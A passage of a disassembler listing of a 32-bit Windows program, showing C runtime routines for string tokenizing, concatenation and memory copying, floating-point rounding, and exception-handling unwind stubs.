		cmp	al, [ecx]
		jnz	short loc_41C824
		or	al, al
		jz	short loc_41C820
		cmp	ah, [ecx+1]
		jnz	short loc_41C824
		or	ah, ah
		jz	short loc_41C820
		add	ecx, 2
		jmp	short loc_41C7F0
sub_41C7E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C864	proc near		; CODE XREF: sub_401AC7+B5p
					; sub_401AC7+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C87D:				; CODE XREF: sub_41C864+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C87D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C8A5
		mov	edx, dword_4D9760


loc_41C8A5:				; CODE XREF: sub_41C864+39j
					; sub_41C864+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C8C5
		test	al, al
		jz	short loc_41C8C5
		inc	edx
		jmp	short loc_41C8A5
; ---------------------------------------------------------------------------


loc_41C8C5:				; CODE XREF: sub_41C864+58j
					; sub_41C864+5Cj
		mov	ebx, edx


loc_41C8C7:				; CODE XREF: sub_41C864+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C8EB
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C8E7
		inc	edx
		jmp	short loc_41C8C7
; ---------------------------------------------------------------------------


loc_41C8E7:				; CODE XREF: sub_41C864+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C8EB:				; CODE XREF: sub_41C864+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4D9760, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C864	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C900	proc near		; CODE XREF: sub_40981C+1Cp
					; sub_415D62+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F5D4
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C93E
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C94B
; ---------------------------------------------------------------------------


loc_41C93E:				; CODE XREF: sub_41C900+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F4BF
		pop	ecx
		pop	ecx


loc_41C94B:				; CODE XREF: sub_41C900+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C900	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C950	proc near		; CODE XREF: sub_40ADD4+88p
					; sub_40B901+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CA04
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C97A


loc_41C96B:				; CODE XREF: sub_41C950+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C9AB
		test	edi, 3
		jnz	short loc_41C96B


loc_41C97A:				; CODE XREF: sub_41C950+19j
					; sub_41C950+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C97A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C9B8
		test	ah, ah
		jz	short loc_41C9B3
		test	eax, 0FF0000h
		jz	short loc_41C9AE
		test	eax, 0FF000000h
		jnz	short loc_41C97A


loc_41C9AB:				; CODE XREF: sub_41C950+20j
		dec	edi
		jmp	short loc_41C9BB
; ---------------------------------------------------------------------------


loc_41C9AE:				; CODE XREF: sub_41C950+52j
		sub	edi, 2
		jmp	short loc_41C9BB
; ---------------------------------------------------------------------------


loc_41C9B3:				; CODE XREF: sub_41C950+4Bj
		sub	edi, 3
		jmp	short loc_41C9BB
; ---------------------------------------------------------------------------


loc_41C9B8:				; CODE XREF: sub_41C950+47j
		sub	edi, 4


loc_41C9BB:				; CODE XREF: sub_41C950+5Cj
					; sub_41C950+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C9D0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CA1C
		jmp	short loc_41C9EC
; ---------------------------------------------------------------------------


loc_41C9D0:				; CODE XREF: sub_41C950+75j
					; sub_41C950+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CA0A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CA00
		test	esi, 3
		jnz	short loc_41C9D0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CA1C


loc_41C9EC:				; CODE XREF: sub_41C950+7Ej
					; sub_41C950+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CA00


loc_41C9F3:				; CODE XREF: sub_41C950+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CA02
		dec	ecx
		jnz	short loc_41C9F3


loc_41CA00:				; CODE XREF: sub_41C950+8Bj
					; sub_41C950+A1j
		mov	[edi], cl


loc_41CA02:				; CODE XREF: sub_41C950+ABj
		pop	ebx
		pop	esi


loc_41CA04:				; CODE XREF: sub_41C950+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CA0A:				; CODE XREF: sub_41C950+85j
					; sub_41C950+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CA14:				; CODE XREF: sub_41C950+E4j
					; sub_41C950+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C9EC


loc_41CA1C:				; CODE XREF: sub_41C950+7Cj
					; sub_41C950+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CA14
		test	dl, dl
		jz	short loc_41CA0A
		test	dh, dh
		jz	short loc_41CA68
		test	edx, 0FF0000h
		jz	short loc_41CA58
		test	edx, 0FF000000h
		jnz	short loc_41CA14
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CA58:				; CODE XREF: sub_41C950+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CA68:				; CODE XREF: sub_41C950+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C950	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA73	proc near		; CODE XREF: ___:0040B055p
					; sub_40C29A+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B960
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420445
		add	esp, 10h
		leave
		retn
sub_41CA73	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAB0	proc near		; CODE XREF: sub_40B12F+62p
					; sub_40B12F+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CAD0
		cmp	edi, eax
		jb	loc_41CC48


loc_41CAD0:				; CODE XREF: sub_41CAB0+16j
		test	edi, 3
		jnz	short loc_41CAEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CB0C
		rep movsd
		jmp	off_41CBF8[edx*4]
; ---------------------------------------------------------------------------


loc_41CAEC:				; CODE XREF: sub_41CAB0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CB04
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CB0C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CB04:				; CODE XREF: sub_41CAB0+46j
		jmp	dword ptr loc_41CC08[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CB0C:				; CODE XREF: sub_41CAB0+31j
					; sub_41CAB0+8Ej ...
		jmp	off_41CB8C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CB20
		dd offset loc_41CB4C
		dd offset loc_41CB70
; ---------------------------------------------------------------------------


loc_41CB20:				; DATA XREF: sub_41CAB0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CB0C
		rep movsd
		jmp	off_41CBF8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CB4C:				; DATA XREF: sub_41CAB0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CB0C
		rep movsd
		jmp	off_41CBF8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CB70:				; DATA XREF: sub_41CAB0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CB0C
		rep movsd
		jmp	off_41CBF8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CB8C	dd offset loc_41CBEF	; DATA XREF: sub_41CAB0:loc_41CB0Cr
		dd offset loc_41CBDC
		dd offset loc_41CBD4
		dd offset loc_41CBCC
		dd offset loc_41CBC4
		dd offset loc_41CBBC
		dd offset loc_41CBB4
		dd offset loc_41CBAC
; ---------------------------------------------------------------------------


loc_41CBAC:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CBB4:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CBBC:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CBC4:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CBCC:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CBD4:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CBDC:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CBEF:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0:off_41CB8Co
		jmp	off_41CBF8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CBF8	dd offset loc_41CC08	; DATA XREF: sub_41CAB0+35r
					; sub_41CAB0+92r ...
		dd offset loc_41CC10
		dd offset loc_41CC1C
		dd offset loc_41CC30
; ---------------------------------------------------------------------------


loc_41CC08:				; CODE XREF: sub_41CAB0+35j
					; sub_41CAB0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CC10:				; CODE XREF: sub_41CAB0+35j
					; sub_41CAB0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CC1C:				; CODE XREF: sub_41CAB0+35j
					; sub_41CAB0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CC30:				; CODE XREF: sub_41CAB0+35j
					; sub_41CAB0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CC48:				; CODE XREF: sub_41CAB0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CC7C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CC70
		std
		rep movsd
		cld
		jmp	off_41CD90[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CC70:				; CODE XREF: sub_41CAB0+1B1j
					; sub_41CAB0+208j ...
		neg	ecx
		jmp	off_41CD40[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CC7C:				; CODE XREF: sub_41CAB0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CC94
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CC94+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CC94:				; CODE XREF: sub_41CAB0+1D6j
					; DATA XREF: sub_41CAB0+1DDr
		jmp	off_41CD90[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		test	al, 0CCh
		inc	ecx
		add	al, cl
		int	3		; Trap to Debugger
		inc	ecx
		add	al, dh
		int	3		; Trap to Debugger
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CC70
		std
		rep movsd
		cld
		jmp	off_41CD90[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CC70
		std
		rep movsd
		cld
		jmp	off_41CD90[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CC70
		std
		rep movsd
		cld
		jmp	off_41CD90[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CD44
		dd offset loc_41CD4C
		dd offset loc_41CD54
		dd offset loc_41CD5C
		dd offset loc_41CD64
		dd offset loc_41CD6C
		dd offset loc_41CD74
off_41CD40	dd offset loc_41CD87	; DATA XREF: sub_41CAB0+1C2r
; ---------------------------------------------------------------------------


loc_41CD44:				; DATA XREF: sub_41CAB0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CD4C:				; DATA XREF: sub_41CAB0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CD54:				; DATA XREF: sub_41CAB0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CD5C:				; DATA XREF: sub_41CAB0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CD64:				; DATA XREF: sub_41CAB0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CD6C:				; DATA XREF: sub_41CAB0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CD74:				; DATA XREF: sub_41CAB0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CD87:				; CODE XREF: sub_41CAB0+1C2j
					; DATA XREF: sub_41CAB0:off_41CD40o
		jmp	off_41CD90[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CD90	dd offset loc_41CDA0	; DATA XREF: sub_41CAB0+1B7r
					; sub_41CAB0:loc_41CC94r ...
		dd offset loc_41CDA8
		dd offset loc_41CDB8
		dd offset loc_41CDCC
; ---------------------------------------------------------------------------


loc_41CDA0:				; CODE XREF: sub_41CAB0+1B7j
					; sub_41CAB0:loc_41CC94j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDA8:				; CODE XREF: sub_41CAB0+1B7j
					; sub_41CAB0:loc_41CC94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDB8:				; CODE XREF: sub_41CAB0+1B7j
					; sub_41CAB0:loc_41CC94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDCC:				; CODE XREF: sub_41CAB0+1B7j
					; sub_41CAB0:loc_41CC94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CAB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CDE5(double)

sub_41CDE5	proc near		; CODE XREF: sub_40D2DB+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A640
		call	sub_42171E
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41CE6B
		call	sub_4215E6
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41CE4E
		cmp	eax, 2
		jle	short loc_41CE40
		cmp	eax, 3
		jnz	short loc_41CE4E
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420EF6
		add	esp, 10h
		jmp	short loc_41CEB0
; ---------------------------------------------------------------------------


loc_41CE40:				; CODE XREF: sub_41CDE5+3Fj
		push	esi
		push	ebx
		call	sub_42171E
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41CEB0
; ---------------------------------------------------------------------------


loc_41CE4E:				; CODE XREF: sub_41CDE5+3Aj
					; sub_41CDE5+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41CEA8
; ---------------------------------------------------------------------------


loc_41CE6B:				; CODE XREF: sub_41CDE5+2Fj
		call	sub_4215AB
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41CE8E


loc_41CE80:				; CODE XREF: sub_41CDE5+ACj
		push	esi
		push	ebx
		call	sub_42171E
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41CEB0
; ---------------------------------------------------------------------------


loc_41CE8E:				; CODE XREF: sub_41CDE5+99j
		test	bl, 20h
		jnz	short loc_41CE80
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41CEA8:				; CODE XREF: sub_41CDE5+84j
		call	sub_420F49
		add	esp, 1Ch


loc_41CEB0:				; CODE XREF: sub_41CDE5+59j
					; sub_41CDE5+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41CDE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CEB4	proc near		; CODE XREF: ___:0041BF0Dp
					; sub_4217E7+21p
					; DATA XREF: ...
		call	sub_41CECC
		call	sub_4217E7
		mov	dword_4D9768, eax
		call	sub_421797
		fnclex
		retn
sub_41CEB4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41CECC	proc near		; CODE XREF: sub_41CEB4p
		mov	eax, offset sub_421BD5
		mov	off_43AC2C, offset sub_42186A
		mov	off_43AC28, eax
		mov	off_43AC30, offset sub_4218D0
		mov	off_43AC34, offset sub_421810
		mov	off_43AC38, offset sub_4218B8
		mov	off_43AC3C, eax
		retn
sub_41CECC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF04	proc near		; CODE XREF: sub_40D2DB+1Bp
					; sub_40D2DB+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CF2B(double)

sub_41CF2B	proc near		; CODE XREF: sub_40D327+82p
					; ___:0040E725p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A658
		call	sub_42171E
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41CFB1
		call	sub_4215E6
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41CF94
		cmp	eax, 2
		jle	short loc_41CF86
		cmp	eax, 3
		jnz	short loc_41CF94
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420EF6
		add	esp, 10h
		jmp	short loc_41CFF6
; ---------------------------------------------------------------------------


loc_41CF86:				; CODE XREF: sub_41CF2B+3Fj
		push	esi
		push	ebx
		call	sub_42171E
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41CFF6
; ---------------------------------------------------------------------------


loc_41CF94:				; CODE XREF: sub_41CF2B+3Aj
					; sub_41CF2B+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41CFEE
; ---------------------------------------------------------------------------


loc_41CFB1:				; CODE XREF: sub_41CF2B+2Fj
		call	sub_4215AB
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41CFD4


loc_41CFC6:				; CODE XREF: sub_41CF2B+ACj
		push	esi
		push	ebx
		call	sub_42171E
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41CFF6
; ---------------------------------------------------------------------------


loc_41CFD4:				; CODE XREF: sub_41CF2B+99j
		test	bl, 20h
		jnz	short loc_41CFC6
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41CFEE:				; CODE XREF: sub_41CF2B+84j
		call	sub_420F49
		add	esp, 1Ch


loc_41CFF6:				; CODE XREF: sub_41CF2B+59j
					; sub_41CF2B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41CF2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFFA	proc near		; CODE XREF: ___:004220B7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41CFFA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D02E	proc near		; CODE XREF: sub_4221F7+199p
					; sub_4223BB+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D02E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D035	proc near		; CODE XREF: sub_4221F7+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D035	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D03C	proc near		; CODE XREF: sub_41D1EE+5Cp
					; sub_422046:loc_422077p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D064
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42663C
sub_41D03C	endp

; ---------------------------------------------------------------------------


loc_41D064:				; DATA XREF: sub_41D03C+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
